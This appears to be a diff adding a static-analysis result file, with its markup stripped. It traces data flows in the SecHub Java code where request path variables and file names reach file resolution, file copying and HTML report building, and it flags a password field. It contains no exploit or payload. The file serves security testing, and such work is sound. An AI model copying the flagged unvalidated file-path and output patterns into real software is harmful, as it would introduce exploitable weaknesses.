+ getPathToFile + + 1 + + + 135 + return getPathToFile(fileName).toFile().exists(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 135 + 23 + 12 + getPathToFile + + 1 + + + 135 + return getPathToFile(fileName).toFile().exists(); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 88 + 26 + 13 + isExisting + + 1 + + + 88 + if (!storage.isExisting(fileName)) { + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 25 + 14 + storage + + 7 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 15 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 14 + 16 + path + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 27 + 17 + resolve + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 18 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 40 + 19 + toFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 58 + 20 + getAbsolutePath + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 48 + 21 + getAbsolutePath + + 1 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 10 + 22 + absolutePath + + 12 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 24 + 23 + absolutePath + + 12 + + + 92 + File file = new File(absolutePath); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 15 + 24 + File + + 3 + + + 92 + File file = new File(absolutePath); + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 85 + 125 + 1 + jobUUID + + 7 + + + 85 + public ResponseEntity<Resource> getUploadedFile(@PathVariable("projectId") String projectId, @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 64 + 2 + jobUUID + + 7 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 3 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 4 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 5 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 41 + 16 + 6 + jobUUID + + 7 + + + 41 + this.jobUUID=jobUUID; + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 41 + 7 + 7 + jobUUID + + 1 + + + 41 + this.jobUUID=jobUUID; + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 52 + 8 + getJobStorage + + 1 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 87 + 14 + 9 + storage + + 7 + + + 87 + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 88 + 8 + 10 + storage + + 7 + + + 88 + if (!storage.isExisting(fileName)) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 135 + 23 + 11 + getPathToFile + + 1 + + + 135 + return getPathToFile(fileName).toFile().exists(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 135 + 23 + 12 + getPathToFile + + 1 + + + 135 + return getPathToFile(fileName).toFile().exists(); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 88 + 26 + 13 + isExisting + + 1 + + + 88 + if (!storage.isExisting(fileName)) { + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 25 + 14 + storage + + 7 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 15 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 14 + 16 + path + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 27 + 17 + resolve + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 23 + 18 + getPathToFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 40 + 19 + toFile + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 140 + 58 + 20 + getAbsolutePath + + 1 + + + 140 + return getPathToFile(fileName).toFile().getAbsolutePath(); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 48 + 21 + getAbsolutePath + + 1 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 91 + 10 + 22 + absolutePath + + 12 + + + 91 + String absolutePath = storage.getAbsolutePath(fileName); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 24 + 23 + absolutePath + + 12 + + + 92 + File file = new File(absolutePath); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 15 + 24 + File + + 3 + + + 92 + File file = new File(absolutePath); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 78 + 39 + 1 + projectId + + 9 + + + 78 + @PathVariable("projectId") String projectId, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 34 + 2 + projectId + + 9 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 38 + 3 + projectId + + 9 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 56 + 4 + projectId + + 9 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 44 + 5 + projectId + + 9 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 42 + 6 + projectId + + 9 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 46 + 7 + projectId + + 9 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 40 + 18 + 8 + projectId + + 9 + + + 40 + this.projectId=projectId; + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 40 + 7 + 9 + projectId + + 1 + + + 40 + this.projectId=projectId; + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 10 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 11 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 12 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 13 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 14 + 14 + path + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 27 + 15 + resolve + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 16 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 10 + 17 + pathToFile + + 10 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 71 + 29 + 18 + pathToFile + + 10 + + + 71 + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 71 + 15 + 19 + copy + + 1 + + + 71 + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 79 + 35 + 1 + jobUUID + + 7 + + + 79 + @PathVariable("jobUUID") UUID jobUUID, + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 83 + 44 + 2 + jobUUID + + 7 + + + 83 + uploadService.uploadSourceCode(projectId,jobUUID,file,checkSum); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 38 + 54 + 3 + jobUUID + + 7 + + + 38 + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 67 + 4 + jobUUID + + 7 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 21 + 60 + 5 + jobUUID + + 7 + + + 21 + public JobStorage getJobStorage(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumeStorageService.java + 22 + 52 + 6 + jobUUID + + 7 + + + 22 + return new JobStorage(rootLocation, projectId,jobUUID); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 35 + 62 + 7 + jobUUID + + 7 + + + 35 + public JobStorage(Path rootLocation, String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 41 + 16 + 8 + jobUUID + + 7 + + + 41 + this.jobUUID=jobUUID; + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 41 + 7 + 9 + jobUUID + + 1 + + + 41 + this.jobUUID=jobUUID; + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 55 + 10 + getJobStorage + + 1 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 47 + 14 + 11 + jobStorage + + 10 + + + 47 + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + + + + + com/daimler/sechub/domain/schedule/SchedulerUploadService.java + 48 + 3 + 12 + jobStorage + + 10 + + + 48 + jobStorage.store(SOURCECODE_ZIP, file); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 13 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 14 + 14 + path + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 84 + 27 + 15 + resolve + + 1 + + + 84 + return this.path.resolve(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 36 + 16 + getPathToFile + + 1 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 10 + 17 + pathToFile + + 10 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 71 + 29 + 18 + pathToFile + + 10 + + + 71 + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 71 + 15 + 19 + copy + + 1 + + + 71 + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + + + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 64 + 34 + 1 + jobUUID + + 7 + + + 64 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 66 + 2 + jobUUID + + 7 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 31 + 9 + report + + 6 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 59 + 37 + 10 + report + + 6 + + + 59 + public ScanReportResult(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 88 + 10 + 12 + secHubJobUUID + + 13 + + + 88 + return secHubJobUUID; + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 36 + 13 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 3 + 14 + jobUUID + + 7 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 10 + 15 + ScanReportResult + + 3 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 51 + 16 + getScanReportResult + + 1 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 54 + 17 + fetchScanReportResult + + 1 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 20 + 18 + scanResult + + 10 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 54 + 19 + scanResult + + 10 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 52 + 20 + scanResult + + 10 + + + 46 + public Map<String, Object> build(ScanReportResult scanResult) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 51 + 21 + getTrafficLight + + 1 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 56 + 10 + 22 + trafficLight + + 12 + + + 56 + return trafficLight; + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 51 + 23 + getTrafficLight + + 1 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 10 + 24 + trafficLight + + 12 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 74 + 29 + 25 + trafficLight + + 12 + + + 74 + model.put("trafficlight", trafficLight); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 74 + 12 + 26 + put + + 1 + + + 74 + model.put("trafficlight", trafficLight); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 76 + 3 + 27 + model + + 5 + + + 76 + model.put("styleRed", styleRed); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 77 + 3 + 28 + model + + 5 + + + 77 + model.put("styleYellow", styleYellow); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 78 + 3 + 29 + model + + 5 + + + 78 + model.put("styleGreen", styleGreen); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 3 + 30 + model + + 5 + + + 79 + model.put("isWebDesignMode", webDesignMode); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 3 + 31 + model + + 5 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 4 + 32 + model + + 5 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 102 + 3 + 33 + model + + 5 + + + 102 + model.put("info", scanResult.getInfo()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 104 + 10 + 34 + model + + 5 + + + 104 + return model; + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 53 + 35 + build + + 1 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 29 + 1 + readLine + + 1 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 32 + 2 + != + + 2 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 16 + 3 + line + + 4 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 15 + 4 + append + + 1 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 119 + 6 + 5 + sb + + 2 + + + 119 + sb.append("\n"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 17 + 6 + sb + + 2 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 28 + 7 + toString + + 1 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 5 + 8 + embeddedCSS + + 11 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 128 + 10 + 9 + embeddedCSS + + 11 + + + 128 + return embeddedCSS; + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 42 + 10 + getEmbeddedCSS + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 12 + 11 + put + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 4 + 12 + model + + 5 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 13 + 13 + put + + 1 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 102 + 3 + 14 + model + + 5 + + + 102 + model.put("info", scanResult.getInfo()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 104 + 10 + 15 + model + + 5 + + + 104 + return model; + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 53 + 16 + build + + 1 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + + + com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 42 + 17 + 1 + password + + 8 + + + 42 + private String password; + + + + + + + + + com/daimler/sechub/adapter/AbstractAdapterConfig.java + 21 + 9 + 1 + password + + 8 + + + 21 + String password; + + + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 64 + 34 + 1 + jobUUID + + 7 + + + 64 + @PathVariable("jobUUID") UUID jobUUID + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 66 + 2 + jobUUID + + 7 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 73 + 72 + 3 + jobUUID + + 7 + + + 73 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 63 + 4 + jobUUID + + 7 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 39 + 69 + 5 + jobUUID + + 7 + + + 39 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 60 + 6 + jobUUID + + 7 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 59 + 7 + findBySecHubJobUUID + + 1 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 43 + 14 + 8 + report + + 6 + + + 43 + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 31 + 9 + report + + 6 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 59 + 37 + 10 + report + + 6 + + + 59 + public ScanReportResult(ScanReport report) { + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReport.java + 88 + 10 + 12 + secHubJobUUID + + 13 + + + 88 + return secHubJobUUID; + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 36 + 13 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 61 + 3 + 14 + jobUUID + + 7 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + com/daimler/sechub/domain/scan/report/DownloadScanReportService.java + 51 + 10 + 15 + ScanReportResult + + 3 + + + 51 + return new ScanReportResult(report); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 74 + 51 + 16 + getScanReportResult + + 1 + + + 74 + return downloadReportService.getScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 54 + 17 + fetchScanReportResult + + 1 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 67 + 20 + 18 + scanResult + + 10 + + + 67 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 54 + 19 + scanResult + + 10 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 52 + 20 + scanResult + + 10 + + + 46 + public Map<String, Object> build(ScanReportResult scanResult) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 51 + 21 + getTrafficLight + + 1 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/report/ScanReportResult.java + 56 + 10 + 22 + trafficLight + + 12 + + + 56 + return trafficLight; + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 51 + 23 + getTrafficLight + + 1 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 47 + 10 + 24 + trafficLight + + 12 + + + 47 + String trafficLight = scanResult.getTrafficLight(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 74 + 29 + 25 + trafficLight + + 12 + + + 74 + model.put("trafficlight", trafficLight); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 74 + 12 + 26 + put + + 1 + + + 74 + model.put("trafficlight", trafficLight); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 76 + 3 + 27 + model + + 5 + + + 76 + model.put("styleRed", styleRed); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 77 + 3 + 28 + model + + 5 + + + 77 + model.put("styleYellow", styleYellow); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 78 + 3 + 29 + model + + 5 + + + 78 + model.put("styleGreen", styleGreen); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 3 + 30 + model + + 5 + + + 79 + model.put("isWebDesignMode", webDesignMode); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 3 + 31 + model + + 5 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 4 + 32 + model + + 5 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 102 + 3 + 33 + model + + 5 + + + 102 + model.put("info", scanResult.getInfo()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 104 + 10 + 34 + model + + 5 + + + 104 + return model; + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 53 + 35 + build + + 1 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 29 + 1 + readLine + + 1 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 32 + 2 + != + + 2 + + + 117 + while ((line=br.readLine())!=null) { + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 16 + 3 + line + + 4 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 15 + 4 + append + + 1 + + + 118 + sb.append(line); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 119 + 6 + 5 + sb + + 2 + + + 119 + sb.append("\n"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 17 + 6 + sb + + 2 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 28 + 7 + toString + + 1 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 121 + 5 + 8 + embeddedCSS + + 11 + + + 121 + embeddedCSS=sb.toString(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 128 + 10 + 9 + embeddedCSS + + 11 + + + 128 + return embeddedCSS; + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 42 + 10 + getEmbeddedCSS + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 80 + 12 + 11 + put + + 1 + + + 80 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 4 + 12 + model + + 5 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 100 + 13 + 13 + put + + 1 + + + 100 + model.put("jobuuid", "none"); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 102 + 3 + 14 + model + + 5 + + 